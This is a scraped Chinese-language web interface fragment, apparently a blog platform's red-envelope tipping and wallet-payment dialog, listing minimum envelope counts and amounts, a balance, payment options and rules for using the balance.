红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值